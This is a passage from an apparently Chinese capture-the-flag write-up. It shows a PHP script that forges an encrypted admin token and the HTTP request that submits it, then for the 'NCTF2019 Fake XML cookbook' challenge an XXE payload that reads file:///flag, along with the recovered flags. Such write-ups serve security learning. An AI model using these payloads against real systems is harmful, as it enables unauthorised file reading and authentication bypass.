直接跑一跑

1
2
3
4
5
6
7
8
9
10
11
<?php
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5("172.16.128.254",true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
$data = $_SESSION['secret'];
$data = null;
$cipher = aesEn($data, 'y1ng');
echo $cipher;
1
OGiyKXIyhghrDCtpomyQ6A==
1
2
GET /admin.php?decrypt=OGiyKXIyhghrDCtpomyQ6A%3D%3D HTTP/1.1
Cookie: UM_distinctid=178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e; y1ng=8880cbd71721332a25aa6df7b12eb7ac53539100; your_ip_address=d99081fe929b750e0557f85e6499103f

image-20210418151312164

得到 flag

1
flag{44e679ac-f18d-443c-9cc2-f734da5546b0}

0x1e [NCTF2019]Fake XML cookbook

搜集一波信息

扫一扫目录

image-20210418180557988

ajax 用了 xml 格式

1
X-Powered-By: PHP/7.4.0RC6

也不确定有没有过滤输入的信息,试试看

image-20210420192622649

果然没有过滤,也没有转义,而且直接把 username 元素的内容回显了

php 写的,不确定后端能不能处理 dtd ,如果可以,那就能 xxe 攻击了

1
2
3
4
<!DOCTYPE xxe [
<!ENTITY hello SYSTEM "file:///flag" >
]>
<user><username>&hello;</username><password>penson</password></user>

image-20210420193457848

得到 flag

1
flag{4b4448d7-b101-41f6-9c1c-f93cc2473dc0}